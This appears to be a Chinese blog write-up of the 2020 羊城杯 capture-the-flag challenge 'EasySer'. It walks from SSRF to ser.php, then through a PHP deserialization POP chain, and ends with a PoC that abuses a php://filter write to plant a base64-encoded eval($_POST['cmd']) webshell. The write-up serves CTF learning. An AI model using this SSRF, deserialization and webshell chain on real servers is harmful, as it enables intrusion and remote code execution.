[羊城杯 2020]EasySer

目录

信息搜集

代码审计

参数扫描


信息搜集

先扫下目录

.htaccess;robots.txt;flag.php;index.php

在robots.txt下看到了/star1.php

进入star1.php发现出现ser.php

<!-- 小胖说用个不安全的协议从我家才能进ser.php呢! !-->

直接进入ser.php发现进不去,看来需要用上面提到的不安全协议,从他家,我们看到提示给的是百度的地址,考虑访问内网地址127.0.0.1,横向穿透.利用 SSRF 才能访问到 ser.php

?path=http://127.0.0.1/ser.php

拿到ser.php源码

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    public $hero;
    public function __construct(){
        $this->hero = new Yasuo;
    }
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}
class Yasuo{
    public function hasaki(){
        return "I'm the best happy windy man";
    }
}
?>

代码审计

创建一个GWHT对象,hero为yongen对象,然后向file写入一句话木马

  • 通过 类GWHT 的 __toString() 来调用 类Yongen 的 hasaki() 方法,利用 file_put_contents() 来写文件。其中写文件时需要绕过<?php die("nononon");?>,先去除标签再base64解码的方法。

poc

<?php
class GWHT{
	public $hero;
}
class Yongen{
    public $file;
    public $text;
}
$door = new GWHT();
$door->hero = new Yongen();
$door->hero->file = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';
$door->hero->text = 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==';
echo urlencode(serialize($door));
?>

<?php eval($_POST['cmd']);?> 

用蚁剑连接shel.php,flag 在根目录下

参数扫描

arjun扫描传入的参数为c和path

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值